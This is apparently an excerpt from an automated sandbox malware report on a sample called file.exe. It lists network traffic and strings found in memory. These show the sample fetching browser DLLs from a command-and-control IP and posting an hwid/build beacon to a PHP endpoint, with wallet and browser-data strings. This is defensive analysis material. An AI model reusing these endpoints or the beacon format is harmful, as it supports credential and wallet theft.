Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 43 37 41 34 32 31 39 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"7DC7A4219B1A2447771074------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"tale------CBFBKFIDHIDGHJKFBGHC--

Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/4
Source: file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php-
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php=
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpC
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpRUNTIME140.dllD
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpY
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpodus.wallet
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllf
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllW4&
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll8
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dlld4
Source: file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dlll
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll%y
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll5y9
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllEx
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllux
Source: file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206DHC
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_77.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2101844623.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_77.3.dr, chromecache_81.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_81.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_81.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_77.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888223176.000000001D1DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ava
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888223176.000000001D1DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: chromecache_81.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chromecache_77.3.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2026907691.0000000023556000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.0000000000374000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: file.exe, 00000000.00000003.2026907691.0000000023556000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
